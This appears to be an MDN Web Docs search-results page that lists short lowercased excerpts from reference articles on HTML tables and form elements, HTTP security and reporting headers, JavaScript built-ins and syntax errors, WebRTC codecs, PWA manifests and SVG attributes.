... <col style="background-color: #0f0"> <col span="2"> </colgroup> <tr> <th>lime</th> <th>lemon</th> <th>orange</th> </tr> <tr> <td>green</td> <td>yellow</td> <td>orange</td> </tr> </table> <p>simple table with caption</p> <table> <caption>awesome caption</caption> <tr> <td>awesome data</td> </tr> </table> table { border-collapse: collapse; border-spacing: 0px; } table, th, td { padding: 5px; border: 1px solid black; } accessibility concerns captions by supplying a <caption> element whose value clearly and concisely describes the table's purpose, it helps the people decide if they need to read the rest of the table content or skip over it.
... example <table> <caption>color names and values</caption> <tbody> <tr> <th scope="col">name</th> <th scope="col">hex</th> <th scope="col">hsla</th> <th scope="col">rgba</th> </tr> <tr> <th scope="row">teal</th> <td><code>#51f6f6</code></td> <td><code>hsla(180, 90%, 64%, 1)</code></td> <td><code>rgba(81, 246, 246, 1)</code></td> </tr> <tr> <th scope="row">goldenrod</th> <td><code>#f6bc57</code></td> <td>...
...And 2 more matches
<tbody>: The Table Body element - HTML: Hypertext Markup Language
WebHTMLElementtbody
note: the equivalent text-align property for the align="char" is not implemented in any browsers yet.
... table { border: 2px solid #555; border-collapse: collapse; font: 16px "lucida grande", "helvetica", "arial", sans-serif; } first, the table's overall style attributes are set, configuring the thickness, style, and color of the table's exterior borders and using border-collapse to ensure that the border lines are shared among adjacent cells rather than each having its own borders with space in between.
... result first, the resulting table, so you know what we're building: html the revised html looks like this: <table> <thead> <tr> <th>student id</th> <th>name</th> </tr> </thead> <tbody> <tr> <th colspan="2">computer science</th> </tr> <tr> <td>3741255</td> <td>jones, martha</td> </tr> <tr> <td>4077830</td> <td>pierce, benjamin</td> </tr> <tr> <td>5151701</td> <td>kirk, james</td> </tr> </tbody> <tbody> <tr> <th colspan="2">russian literature</th> </tr> <tr> <td>3971244</td> <td>nim, victor</td> </...
...And 2 more matches
<template>: The Content Template element - HTML: Hypertext Markup Language
WebHTMLElementtemplate
<table id="producttable"> <thead> <tr> <td>upc_code</td> <td>product_name</td> </tr> </thead> <tbody> <!-- existing data could optionally be included here --> </tbody> </table> <template id="productrow"> <tr> <td class="record"></td> <td></td> </tr> </template> first, we have a table into which we will later insert content using javascript code.
...if ('content' in document.createelement('template')) { // instantiate the table with the existing html tbody // and the row with the template var tbody = document.queryselector("tbody"); var template = document.queryselector('#productrow'); // clone the new row and insert it into the table var clone = template.content.clonenode(true); var td = clone.queryselectorall("td"); td[0].textcontent = "1235646565"; td[1].textcontent = "stuff"; tbody.appendchild(clone); // clone the new row and insert it into the table var clone2 = template.co...
...ntent.clonenode(true); td = clone2.queryselectorall("td"); td[0].textcontent = "0384928528"; td[1].textcontent = "acme kidney beans 2"; tbody.appendchild(clone2); } else { // find another way to add the rows to the table because // the html template element is not supported.
...And 2 more matches
<textarea> - HTML: Hypertext Markup Language
WebHTMLElementtextarea
form the form element that the <textarea> element is associated with (its "form owner").
... <textarea name="textarea" rows="10" cols="50">write something here</textarea> min and max length this example has a minimum and maximum number of characters — of 10 and 20 respectively.
... <textarea name="textarea" rows="5" cols="30" minlength="10" maxlength="20">write something here</textarea> note that minlength doesn't stop the user from removing characters so that the number entered goes past the minimum, but it does make the value entered into the <textarea> invalid.
...And 2 more matches
inputmode - HTML: Hypertext Markup Language
inputs that require a telephone number should typically use <input type="tel">instead.
...for instance, the return/submit key may be labeled "search", along with possible other optimizations.
... inputs that require a search query should typically use <input type="search"> instead.
...And 2 more matches
Data URLs - HTTP
they were formerly known as "data uris" until that name was retired by the whatwg.
...also, for csv data (mime type "text/csv"), percent-encoding is needed to preserve the line endings that delimit rows of the spreadsheet.
... [convert]::tobase64string([text.encoding]::utf8.getbytes("hello")) # outputs to console: agvsbg8= bash -c "echo -n hello`|base64" # outputs to console: agvsbg8= # the backtick (`) is used to escape the piping (|) character here common problems this section describes problems that commonly occur when creating and using data urls.
...And 2 more matches
Content Security Policy (CSP) - HTTP
WebHTTPCSP
(sometimes you may see mentions of the x-content-security-policy header, but that's an older version and you don't need to specify it anymore.) alternatively, the <meta> element can be used to configure a policy, for example: <meta http-equiv="content-security-policy" content="default-src 'self'; img-src https://*; child-src 'none';"> threats mitigating cross site scripting a primary goal of csp is to mitigate and report xss attacks.
... content-security-policy: default-src 'self'; img-src *; media-src media1.com media2.com; script-src userscripts.example.com here, by default, content is only permitted from the document's origin, with the following exceptions: images may load from anywhere (note the "*" wildcard).
... disposition either "enforce" or "report" depending on whether the content-security-policy-report-only header or the content-security-policy header is used.
...And 2 more matches
Expect-CT - HTTP
header type response header forbidden header name yes syntax expect-ct: report-uri="<uri>", enforce, max-age=<age> directives max-age the number of seconds after reception of the expect-ct header field during which the user agent should regard the host of the received message as a known expect-ct host.
... report-uri="<uri>" optional the uri where the user agent should report expect-ct failures.
... when present with the enforce directive, the configuration is referred to as an "enforce-and-report" configuration, signalling to the user agent both that compliance to the certificate transparency policy should be enforced and that violations should be reported.
...And 2 more matches
Public-Key-Pins-Report-Only - HTTP
header type response header forbidden header name no syntax public-key-pins-report-only: pin-sha256="<pin-value>"; max-age=<expire-time>; includesubdomains; report-uri="<uri>" directives pin-sha256="<pin-value>" the quoted string is the base64 encoded subject public key information (spki) fingerprint.
... report-uri="<uri>" pin validation failures are reported to the given url.
... example public-key-pins-report-only: pin-sha256="cupctazwkaasuywhhnedttwpy3obake3h2+sozs7sws="; pin-sha256="m8hztczm3eluxkcjr2s5p4hhybnf6lhkmjahkhpgpwe="; includesubdomains; report-uri="https://www.example.org/hpkp-report" in this example, pin-sha256="cupctazwkaasuywhhnedttwpy3obake3h2+sozs7sws=" pins the server's public key used in production.
...And 2 more matches
Public-Key-Pins - HTTP
header type response header forbidden header name no syntax public-key-pins: pin-sha256="<pin-value>"; max-age=<expire-time>; includesubdomains; report-uri="<uri>" directives pin-sha256="<pin-value>" the quoted string is the base64 encoded subject public key information (spki) fingerprint.
... report-uri="<uri>" optional if this optional parameter is specified, pin validation failures are reported to the given url.
... public-key-pins: pin-sha256="cupctazwkaasuywhhnedttwpy3obake3h2+sozs7sws="; pin-sha256="m8hztczm3eluxkcjr2s5p4hhybnf6lhkmjahkhpgpwe="; max-age=5184000; includesubdomains; report-uri="https://www.example.org/hpkp-report" in this example, pin-sha256="cupctazwkaasuywhhnedttwpy3obake3h2+sozs7sws=" pins the server's public key used in production.
...And 2 more matches
User-Agent - HTTP
note that platform can consist of multiple "; "-separated tokens.
... rv:geckoversion indicates the release version of gecko (such as "17.0").
...(on desktop, geckotrail is always the fixed string 20100101.) firefox/firefoxversion indicates the browser is firefox, and provides the version (such as "17.0").
...And 2 more matches
Network Error Logging - HTTP
usage web applications opt in to this behaviour with the nel header, which is a json-encoded object: nel: { "report_to": "nel", "max_age": 31556952 } an origin considered secure by the browser is required.
... the reporting group referenced above is defined in the usual manner within the report-to header, for example: report-to: { "group": "nel", "max_age": 31556952, "endpoints": [ { "url": "https://example.com/csp-reports" } ] } error reports in these examples, the entire reporting api payload is shown.
... the top-level "body" key contains the network error report.
...And 2 more matches
Concurrency model and the event loop - JavaScript
"run-to-completion" each message is processed completely before any other message is processed.
...the browser mitigates this with the "a script is taking too long to run" dialog.
... here is an example that demonstrates this concept (settimeout does not run immediately after its timer expires): const s = new date().getseconds(); settimeout(function() { // prints out "2", meaning that the callback is not called immediately after 500 milliseconds.
...And 2 more matches
Keyed collections - JavaScript
let sayings = new map(); sayings.set('dog', 'woof'); sayings.set('cat', 'meow'); sayings.set('elephant', 'toot'); sayings.size; // 3 sayings.get('dog'); // woof sayings.get('fox'); // undefined sayings.has('bird'); // false sayings.delete('dog'); sayings.has('dog'); // false for (let [key, value] of sayings) { console.log(key + ' goes ' + value); } // "cat goes meow" // "elephant goes toot" sayings.clear(); sayings.size; // 0 object and map compared traditionally, objects have been used to map strings to values.
... for more information and example code, see also "why weakmap?" on the weakmap reference page.
...the following example is from nick fitzgerald's blog post "hiding implementation details with ecmascript 6 weakmaps".
...And 2 more matches
Using Promises - JavaScript
here's some code that uses createaudiofileasync(): function successcallback(result) { console.log("audio file ready at url: " + result); } function failurecallback(error) { console.error("error generating audio file: " + error); } createaudiofileasync(audiosettings, successcallback, failurecallback); modern functions return a promise that you can attach your callbacks to instead: if createaudiofileasync() were rewritten to return a promise, using it could be as simple as this: createaud...
...you can capture these for analysis and handling by your code—or just to avoid having them cluttering up your output—by adding a handler for the unhandledrejection event, like this: window.addeventlistener("unhandledrejection", event => { /* you might start here by adding code to examine the promise specified by event.promise and the reason in event.reason */ event.preventdefault(); }, false); by calling the event's preventdefault() method, you tell the javascript runtime not to do its default action when rejected promises go unhandled.
...the most obvious example is the settimeout() function: settimeout(() => saysomething("10 seconds passed"), 10*1000); mixing old-style callbacks and promises is problematic.
...And 2 more matches
TypeError: X.prototype.y called on incompatible type - JavaScript
the javascript exception "called on incompatible target (or object)" occurs when a function (on a given object), is called with a this not corresponding to the type expected by the function.
... examples invalid cases var myset = new set; ['bar', 'baz'].foreach(myset.add); // myset.add is a function, but "myset" is not captured as this.
... var myfun = function () { console.log(this); }; ['bar', 'baz'].foreach(myfun.bind); // myfun.bind is a function, but "myfun" is not captured as this.
...And 2 more matches
SyntaxError: missing formal parameter - JavaScript
the javascript exception "missing formal parameter" occurs when your function declaration is missing valid parameters.
... "formal parameter" is a fancy way of saying "function parameter".
... in javascript, identifiers can contain only alphanumeric characters (or "$" or "_"), and may not start with a digit.
...And 2 more matches
SyntaxError: missing ) after condition - JavaScript
the javascript exception "missing ) after condition" occurs when there is an error with how an if condition is written.
... if (3 > math.pi { console.log("wait what?"); } // syntaxerror: missing ) after condition to fix this code, you would need to add a parenthesis that closes the condition.
... if (3 > math.pi) { console.log("wait what?"); } misused is keyword if you are coming from another programming language, it is also easy to add keywords that don't mean the same or have no meaning at all in javascript.
...And 2 more matches
SyntaxError: missing variable name - JavaScript
the javascript exception "missing variable name" occurs way too often as naming things is so hard.
... examples missing a variable name var = "foo"; it's tough coming up with good variable names.
... var ohgodwhy = "foo"; reserved keywords can't be variable names there are a few variable names that are reserved keywords.
...And 2 more matches
Arrow function expressions - JavaScript
o return an object literal expression: params => ({foo: bar}) // rest parameters and default parameters are supported (param1, param2, ...rest) => { statements } (param1 = defaultvalue1, param2, …, paramn = defaultvaluen) => { statements } // destructuring within the parameter list is also supported var f = ([a, b] = [1, 2], {x: c} = {x: a + b}) => a + b + c; f(); // 6 description see also "es6 in depth: arrow functions" on hacks.mozilla.org.
... the base object if the function was called as an "object method".
... function body arrow functions can have either a "concise body" or the usual "block body".
...And 2 more matches
The arguments object - JavaScript
it returns a string list using each argument in the list: // returns "red, orange, blue" myconcat(', ', 'red', 'orange', 'blue'); // returns "elephant; giraffe; lion; cheetah" myconcat('; ', 'elephant', 'giraffe', 'lion', 'cheetah'); // returns "sage.
...parsley" myconcat('.
...the only formal argument for the function is a string that is "u" if the list is to be unordered (bulleted), or "o" if the list is to be ordered (numbered).
...And 2 more matches
Array.from() - JavaScript
as a result, static methods such as array.from() are "inherited" by subclasses of array, and create new instances of the subclass, not array.
...let lenvalue be get(items, "length").
...object(new c(len)) : new array(len); return getarray( t, a, len, setgetitemhandler(isiterator, items), isiterator, mapfn ); }; })(); } examples array from a string array.from('foo'); // [ "f", "o", "o" ] array from a set const set = new set(['foo', 'bar', 'baz', 'foo']); array.from(set); // [ "foo", "bar", "baz" ] array from a map const map = new map([[1, 2], [2, 4], [4, 8]]); array.from(map); // [[1, 2], [2, 4], [4, 8]] const mapper = new map([['1', 'a'], ['2', 'b']]); array.from(mapper.values()); // ['a', 'b']; array.from(mapper.keys()); // ['1', '2']; array from an array-...
...And 2 more matches
Array.prototype.indexOf() - JavaScript
// this version tries to optimize by only checking for "in" when looking for undefined and // skipping the definitely fruitless nan search.
...if (!array.prototype.indexof) array.prototype.indexof = (function(object, max, min) { "use strict" return function indexof(member, fromindex) { if (this === null || this === undefined) throw typeerror("array.prototype.indexof called on null or undefined") var that = object(this), len = that.length >>> 0, i = min(fromindex | 0, len) if (i < 0) i = max(0, len + i) else if (i >= len) return -1 if (member === void 0) { // undefined for (; i !== len; ++i) if (that[i] === void 0 && i in that) return i } else if (member !== member) { // nan return -1 // since nan !== nan, it will never be found.
... // production steps of ecma-262, edition 5, 15.4.4.14 // reference: http://es5.github.io/#x15.4.4.14 if (!array.prototype.indexof) { array.prototype.indexof = function(searchelement, fromindex) { "use strict"; var k; // 1.
...And 2 more matches
Date.prototype.toLocaleTimeString() - JavaScript
the default value for each date-time component property is undefined, but if the hour, minute, second properties are all undefined, then hour, minute, and second are assumed to be "numeric".
... var date = new date(date.utc(2012, 11, 12, 3, 0, 0)); // tolocaletimestring() without arguments depends on the implementation, // the default locale, and the default time zone console.log(date.tolocaletimestring()); // → "7:00:00 pm" if run in en-us locale with time zone america/los_angeles checking for support for locales and options arguments the locales and options arguments are not supported in all browsers yet.
...ge used in the user interface of your application, make sure to specify that language (and possibly some fallback languages) using the locales argument: var date = new date(date.utc(2012, 11, 20, 3, 0, 0)); // formats below assume the local time zone of the locale; // america/los_angeles for the us // us english uses 12-hour time with am/pm console.log(date.tolocaletimestring('en-us')); // → "7:00:00 pm" // british english uses 24-hour time without am/pm console.log(date.tolocaletimestring('en-gb')); // → "03:00:00" // korean uses 12-hour time with am/pm console.log(date.tolocaletimestring('ko-kr')); // → "오후 12:00:00" // arabic in most arabic speaking countries uses real arabic digits console.log(date.tolocaletimestring('ar-eg')); // → "٧:٠٠:٠٠ م" // when requestin...
...And 2 more matches
FinalizationRegistry - JavaScript
}); then you register any objects you want a cleanup callback for by calling the `register` method, passing in the object and a *held value* for it: registry.register(theobject, "some value"); the registry does not keep a strong reference to the object, as that would defeat the purpose (if the registry held it strongly, the object would never be reclaimed).
... if theobject is reclaimed, your cleanup callback may be called at some point with the held value you provided for it ("some value" in the above).
... it's common to use the object itself as the unregister token, which is just fine: registry.register(theobject, "some value", theobject); // ...some time later, if you don't care about `theobject` anymore...
...And 2 more matches
Intl.DisplayNames.prototype.of() - JavaScript
syntax displaynames.of(code); parameters code the code to provide depends on the type: if the type is "region", code should be either an iso-3166 two letters region code, or a three digits un m49 geographic regions.
... if the type is "script", code should be an iso-15924 four letters script code.
... if the type is "language", code should be a languagecode ["-" scriptcode] ["-" regioncode ] *("-" variant ) subsequence of the unicode_language_id grammar in uts 35's unicode language and locale identifiers grammar.
...And 2 more matches
Intl.DisplayNames - JavaScript
// get display names of region in english let regionnames = new intl.displaynames(['en'], {type: 'region'}); regionnames.of('419'); // "latin america" regionnames.of('bz'); // "belize" regionnames.of('us'); // "united states" regionnames.of('ba'); // "bosnia & herzegovina" regionnames.of('mm'); // "myanmar (burma)" // get display names of region in traditional chinese regionnames = new intl.displaynames(['zh-hant'], {type: 'region'}); regionnames.of('419'; // "拉丁美洲" regionnames.of('bz'); // "貝里斯" regionnames.of(...
...'us'); // "美國" regionnames.of('ba'); // "波士尼亞與赫塞哥維納" regionnames.of('mm'); // "緬甸" language display names to create an intl.displaynames for a locale and get the display name for a language-script-region sequence.
... // get display names of language in english let languagenames = new intl.displaynames(['en'], {type: 'language'}); languagenames.of('fr'); // "french" languagenames.of('de'); // "german" languagenames.of('fr-ca'); // "canadian french" languagenames.of('zh-hant'); // "traditional chinese" languagenames.of('en-us'); // "american english" languagenames.of('zh-tw'); // "chinese (taiwan)"] // get display names of language in traditional chinese languagenames = new intl.displaynames(['zh-hant'], {type: 'language'}); languagenames.of('fr'); // "法文" languagenames.of('zh'); // "中文" languagenames.of('de'); // "德文" script code display names to create an intl.displaynames for a locale and get the display name for a script code.
...And 2 more matches
Intl​.List​Format​.prototype​.resolvedOptions() - JavaScript
style the value provided for this property in the options argument of the constructor or the default value ("long").
... its value is either "long", "short", or "narrow".
... type the value provided for this property in the options argument of the constructor or the default value ("conjunction").
...And 2 more matches
Intl.Locale.prototype.minimize() - JavaScript
this is useful when there are superfluous subtags in the language identifier; for instance, "en-latn" can be simplified to "en", since "latn" is the only script used to write english.
...other subtags after the "-u" in the locale indentifier are called extension subtags and are not affected by the minimize() method.
... examples using minimize let mylocale = new intl.locale("fr-latn-fr", {hourcycle: "h24", calendar: "gregory"}); console.log(mylocale.basename); // prints "fr-latn-fr" console.log(mylocale.tostring()); // prints "fr-latn-fr-u-ca-gregory-hc-h24" let mylocminimized = mylocale.minimize(); // prints "fr", since french is only written in the latin script // and is most likely to be spoken in france.
...And 2 more matches
Intl.Locale.prototype.numeric - JavaScript
for example, the string "a-21" will be considered less than "a-123".
...kn is considered a locale string "extension subtag".
...to set the value to false, you must specify in by adding "false" after the kn key.
...And 2 more matches
Intl.RelativeTimeFormat.prototype.resolvedOptions() - JavaScript
possible values are: "long" (default, e.g., in 1 month) "short" (e.g., in 1 mo.), or "narrow" (e.g., in 1 mo.).
...possible values are: "always" (default, e.g., 1 day ago), or "auto" (e.g., yesterday).
... the "auto" value allows to not always have to use numeric values in the output.
...And 2 more matches
Math.clz32() - JavaScript
description "clz32" is short for countleadingzeroes32.
... count leading ones and beyond at present, there is no math.clon for "count leading ones" (named "clon", not "clo", because "clo" and "clz" are too similar especially for non-english-speaking people).
...ng zeros) math.clz32(a); // 16 var b = ~32776; // 11111111111111110111111111110111 (32776 inversed, 0 leading zeros) math.clz32(b); // 0 (this is equal to how many leading one's there are in a) using this logic, a clon function can be created as follows: var clz = math.clz32; function clon(integer){ return clz(~integer); } further, this technique could be extended to create jumpless "count trailing zeros" and "count trailing ones" functions as seen below.
...And 2 more matches
Object.assign() - JavaScript
polyfill this polyfill doesn't support symbol properties, since es5 doesn't have symbols anyway: if (typeof object.assign !== 'function') { // must be writable: true, enumerable: false, configurable: true object.defineproperty(object, "assign", { value: function assign(target, varargs) { // .length of function is 2 'use strict'; if (target === null || target === undefined) { throw new typeerror('cannot convert undefined or null to object'); } var to = object(target); for (var index = 1; index < arguments.length; index++) { var nextsource = arguments[index]; if (nextsou...
... function test() { 'use strict'; let obj1 = { a: 0 , b: { c: 0}}; let obj2 = object.assign({}, obj1); console.log(json.stringify(obj2)); // { "a": 0, "b": { "c": 0}} obj1.a = 1; console.log(json.stringify(obj1)); // { "a": 1, "b": { "c": 0}} console.log(json.stringify(obj2)); // { "a": 0, "b": { "c": 0}} obj2.a = 2; console.log(json.stringify(obj1)); // { "a": 1, "b": { "c": 0}} console.log(json.stringify(obj2)); // { "a": 2, "b": { "c": 0}} obj2.b.c = 3; console.log(json.stringify(obj1)); // { "a": 1, "b": { "c": 3}} ...
... console.log(json.stringify(obj2)); // { "a": 2, "b": { "c": 3}} // deep clone obj1 = { a: 0 , b: { c: 0}}; let obj3 = json.parse(json.stringify(obj1)); obj1.a = 4; obj1.b.c = 4; console.log(json.stringify(obj3)); // { "a": 0, "b": { "c": 0}} } test(); merging objects const o1 = { a: 1 }; const o2 = { b: 2 }; const o3 = { c: 3 }; const obj = object.assign(o1, o2, o3); console.log(obj); // { a: 1, b: 2, c: 3 } console.log(o1); // { a: 1, b: 2, c: 3 }, target object itself is changed.
...And 2 more matches
String.fromCodePoint() - JavaScript
"rangeerror: nan is not a valid code point").
... use the code below for a polyfill: if (!string.fromcodepoint) (function(stringfromcharcode) { var fromcodepoint = function(_) { var codeunits = [], codelen = 0, result = ""; for (var index=0, len = arguments.length; index !== len; ++index) { var codepoint = +arguments[index]; // correctly handles all cases including `nan`, `-infinity`, `+infinity` // the surrounding `!(...)` is required to correctly handle `nan` cases // the (codepoint>>>0) === codepoint clause handles decimals and negatives if (!(codepoint < 0x10ffff &...
...& (codepoint>>>0) === codepoint)) throw rangeerror("invalid code point: " + codepoint); if (codepoint <= 0xffff) { // bmp code point codelen = codeunits.push(codepoint); } else { // astral code point; split in surrogate halves // https://mathiasbynens.be/notes/javascript-encoding#surrogate-formulae codepoint -= 0x10000; codelen = codeunits.push( (codepoint >> 10) + 0xd800, // highsurrogate (codepoint % 0x400) + 0xdc00 // lowsurrogate ); } if (codelen >= 0x3fff) { result += stringfromcharcode.apply(null, codeunits); codeunits.length = 0; } } return result + stringfromcharcode.apply(null, codeunits); }; try { // ie 8 only supports...
...And 2 more matches
String.prototype.indexOf() - JavaScript
if no string is explicitly provided, searchvalue will be coerced to "undefined", and this value will be searched for in str.
...therefore, when checking if a specific string exists within another string, the correct way to check would be: 'blue whale'.indexof('blue') !== -1 // true 'blue whale'.indexof('bloe') !== -1 // false ~('blue whale'.indexof('bloe')) // 0, which is falsy examples using indexof() the following example uses indexof() to locate values in the string "brave new world".
... const str = 'brave new world' console.log('index of first w from start is ' + str.indexof('w')) // logs 8 console.log('index of "new" from start is ' + str.indexof('new')) // logs 6 indexof() and case-sensitivity the following example defines two string variables.
...And 2 more matches
Spread syntax (...) - JavaScript
spread syntax "expands" an array into its elements, while rest syntax collects multiple elements and "condenses" them into a single element.
... new thanks to spread syntax: const datefields = [1970, 0, 1]; // 1 jan 1970 const d = new date(...datefields); to use new with an array of parameters without spread syntax, you would have to do it indirectly through partial application: function applyandnew(constructor, args) { function partial () { return constructor.apply(this, args); }; if (typeof constructor.prototype === "object") { partial.prototype = object.create(constructor.prototype); } return partial; } function myconstructor () { console.log("arguments.length: " + arguments.length); console.log(arguments); this.prop1="val1"; this.prop2="val2"; }; const myarguments = ["hi", "how", "are", "you", "mr", null]; const myconstructorwitharguments = applyandnew(myconstructor, myarguments); ...
... console.log(new myconstructorwitharguments); // (internal log of myconstructor): arguments.length: 6 // (internal log of myconstructor): ["hi", "how", "are", "you", "mr", null] // (log of "new myconstructorwitharguments"): {prop1: "val1", prop2: "val2"} spread in array literals a more powerful array literal without spread syntax, to create a new array using an existing array as one part of it, the array literal syntax is no longer sufficient and imperative code must be used instead using a combination of push(), splice(), concat(), etc.
...And 2 more matches
class expression - JavaScript
there are several differences between class expressions and class statements, however: class expressions may omit the class name ("binding identifier"), which is not possible with class statements.
...classes generated with class expressions will always respond to typeof with the value "function".
... 'use strict'; let foo = class {}; // constructor property is optional foo = class {}; // re-declaration is allowed typeof foo; // returns "function" typeof class {}; // returns "function" foo instanceof object; // true foo instanceof function; // true class foo {} // throws syntaxerror (class declarations do not allow re-declaration) examples a simple class expression this is just a simple anonymous class expression which you can refer to using the variable foo.
...And 2 more matches
delete operator - JavaScript
var employee = {}; object.defineproperty(employee, 'name', {configurable: false}); console.log(delete employee.name); // returns false var, let, and const create non-configurable properties that cannot be deleted with the delete operator: var nameother = 'xyz'; // we can access this global property using: object.getownpropertydescriptor(window, 'nameother'); // output: object {value: "xyz", // writable: true, // enumerable: true, // configurable: false} // since "nameother" is added using with the // var keyword, it is marked as "non-configurable" delete nameother; // return false in strict mode, this would have raised an exception.
...delete employeedetails.name; // returns true // even when the property does not exist, delete returns "true".
...// since it was defined without "var", it is marked configurable.
...And 2 more matches
this - JavaScript
// in web browsers, the window object is also the global object: console.log(this === window); // true a = 37; console.log(window.a); // 37 this.b = "mdn"; console.log(window.b) // "mdn" console.log(b) // "mdn" note: you can always easily get the global object using the global globalthis property, regardless of the current context in which your code is running.
... e.g., * this.fum = "nom"; * // et cetera...
...(this essentially makes the statement "this.a = 37;" dead code.
...And 2 more matches
typeof - JavaScript
type result undefined "undefined" null "object" (see below) boolean "boolean" number "number" bigint (new in ecmascript 2020) "bigint" string "string" symbol (new in ecmascript 2015) "symbol" function object (implements [[call]] in ecma-262 terms) "function" any other object "object" note: ecmascript 2019 and older pe...
... examples basic usage // numbers typeof 37 === 'number'; typeof 3.14 === 'number'; typeof(42) === 'number'; typeof math.ln2 === 'number'; typeof infinity === 'number'; typeof nan === 'number'; // despite being "not-a-number" typeof number('1') === 'number'; // number tries to parse things into numbers typeof number('shoe') === 'number'; // including values that cannot be type coerced to a number typeof 42n === 'bigint'; // strings typeof '' === 'string'; typeof 'bla' === 'string'; typeof `template literal` === 'string'; typeof '1' === 'string'; // note that a number within a string is still typ...
...consequently, null had 0 as type tag, hence the "object" typeof return value.
...And 2 more matches
function declaration - JavaScript
var hoisted = "foo" in this; console.log(`'foo' name ${hoisted ?
... "is" : "is not"} hoisted.
...typeof foo is function the results are exactly the same for a condition that evaluates to true var hoisted = "foo" in this; console.log(`'foo' name ${hoisted ?
...And 2 more matches
try...catch - JavaScript
conditional catch-blocks you can create "conditional catch-blocks" by combining try...catch blocks with if...else if...else structures, like this: try { myroutine(); // may throw three types of exceptions } catch (e) { if (e instanceof typeerror) { // statements to handle typeerror exceptions } else if (e instanceof rangeerror) { // statements to handle rangeerror exceptions } else if (e instanceof evalerror) { // st...
... openmyfile(); try { // tie up a resource writemyfile(thedata); } finally { closemyfile(); // always close the resource } examples nested try-blocks first, let's see what happens with this: try { try { throw new error('oops'); } finally { console.log('finally'); } } catch (ex) { console.error('outer', ex.message); } // output: // "finally" // "outer" "oops" now, if we already caught the exception in the inner try-block by adding a catch-block try { try { throw new error('oops'); } catch (ex) { console.error('inner', ex.message); } finally { console.log('finally'); } } catch (ex) { console.error('outer', ex.message); } // output: // "inner" "oops" // "finally" and now, let's rethrow the error.
... try { try { throw new error('oops'); } catch (ex) { console.error('inner', ex.message); throw ex; } finally { console.log('finally'); } } catch (ex) { console.error('outer', ex.message); } // output: // "inner" "oops" // "finally" // "outer" "oops" any given exception will be caught only once by the nearest enclosing catch-block unless it is rethrown.
...And 2 more matches
Codecs used by WebRTC - Web media technologies
this is useful to note, since in rfc 6184 ("rtp payload format for h.264 video"), profile-level-id is entirely optional.
...avc implementations for webrtc are required to support the special "filler payload" and "full frame freeze" sei messages; these are used to support switching among multiple input streams seamlessly.
...for example, to determine the supported codecs for video, you can do this: codeclist = rtcrtpsender.getcapabilities("video").codecs; now codeclist is an array of rtcrtpcodeccapability objects, each describing one codec configuration.
...And 2 more matches
How to make PWAs installable - Progressive web apps (PWAs)
the js13kpwa.webmanifest file of the js13kpwa web app is included in the <head> block of the index.html file using the following line of code: <link rel="manifest" href="js13kpwa.webmanifest"> there are a few common kinds of manifest file that have been used in the past: manifest.webapp was popular in firefox os app manifests, and many use manifest.json for web manifests as the contents are organized in a json structure.
... the content of the file looks like this: { "name": "js13kgames progressive web app", "short_name": "js13kpwa", "description": "progressive web app that lists games submitted to the a-frame category in the js13kgames 2017 competition.", "icons": [ { "src": "icons/icon-32.png", "sizes": "32x32", "type": "image/png" }, // ...
... { "src": "icons/icon-512.png", "sizes": "512x512", "type": "image/png" } ], "start_url": "/pwa-examples/js13kpwa/index.html", "display": "fullscreen", "theme_color": "#b12a34", "background_color": "#b12a34" } most of the fields are self-explanatory, but to be certain we're on the same page: name: the full name of your web app.
...And 2 more matches
display - SVG: Scalable Vector Graphics
WebSVGAttributedisplay
a value of display="none" indicates that the given element and its children will not be rendered.
...this means that any child of an element with display="none" will never be rendered even if the child has a value for display other than none.
...thus, setting display="none" on a child of a <mask> will prevent the given child element from being rendered as part of the mask.
...And 2 more matches
spreadMethod - SVG: Scalable Vector Graphics
examples of spreadmethod with linear gradients svg <svg width="220" height="150" xmlns="http://www.w3.org/2000/svg"> <defs> <lineargradient id="padgradient" x1="33%" x2="67%"> <stop offset="0%" stop-color="fuchsia"/> <stop offset="100%" stop-color="orange"/> </lineargradient> <lineargradient id="reflectgradient" spreadmethod="reflect" x1="33%" x2="67%"> <stop offset="0%" stop-color="fuc...
...hsia"/> <stop offset="100%" stop-color="orange"/> </lineargradient> <lineargradient id="repeatgradient" spreadmethod="repeat" x1="33%" x2="67%"> <stop offset="0%" stop-color="fuchsia"/> <stop offset="100%" stop-color="orange"/> </lineargradient> </defs> <rect fill="url(#padgradient)" x="10" y="0" width="200" height="40"/> <rect fill="url(#reflectgradient)" x="10" y="50" width="200" height="40"/> <rect fill="url(#repeatgradient)" x="10" y="100" width="200" height="40"/> </svg> result notice that the middle third of each gradient is the same.
... examples of spreadmethod with radial gradients svg <svg width="340" height="120" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient id="radialpadgradient" cx="75%" cy="25%" r="33%" fx="64%" fy="18%" fr="17%"> <stop offset="0%" stop-color="fuchsia"/> <stop offset="100%" stop-color="orange"/> </radialgradient> <radialgradient id="radialreflectgradient" spreadmethod="reflect" cx="75%" cy="25%" r="33%" fx="64%" fy="18%" fr="17%"> <stop offset="0%" stop-color="fuchsia"/> <stop offset="100%" stop-color="orange"/> </radialgradient> <radialgradient id="radialrepeatgradie...
...And 2 more matches
x - SVG: Scalable Vector Graphics
WebSVGAttributex
, <fedropshadow>, <feflood>, <fefunca>, <fefuncb>, <fefuncg>, <fefuncr>, <fegaussianblur>, <feimage>, <femerge>, <femergenode>, <femorphology>, <feoffset>, <fepointlight>, <fespecularlighting>, <fespotlight>, <fetile>, <feturbulence>, <filter>, <foreignobject>, <glyphref>, <image>, <mask>, <pattern>, <rect>, <svg>, <text>, <tref>, <tspan>, and <use> html,body,svg { height:100% } <svg viewbox="0 0 300 100" xmlns="http://www.w3.org/2000/svg"> <rect x="20" y="20" width="60" height="60" /> <rect x="120" y="20" width="60" height="60" /> <rect x="220" y="20" width="60" height="60" /> </svg> altglyph warning: as of svg2 <altglyph> is deprecated and shouldn't be used.
... value list of (<length> | <percentage>) default value 0 animatable yes example html,body,svg { height:100% } <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <!-- horizontal line to materialized the text base line --> <line x1="0" y1="40%" x2="100%" y2="40%" /> <line x1="0" y1="90%" x2="100%" y2="90%" /> <!-- vertical line to materialized the x positioning --> <line x1="25%" y1="0" x2="25%" y2="100%" /> <line x1="50%" y1="0" x2="50%" y2="100%" /> <line x1="75%" y1="0" x2="75%" y2="100%" />...
... <!-- x with a single value --> <text y="40%" x="50%">svg</text> <!-- x with multiple values --> <text y="90%" x="25%, 50%, 75%">svg</text> </svg> text { font: 40px sans-serif; } line { fill: none; stroke: red; stroke-width: .5px; stroke-dasharray: 2px; } tref warning: as of svg2 <tref> is deprecated and shouldn't be used.
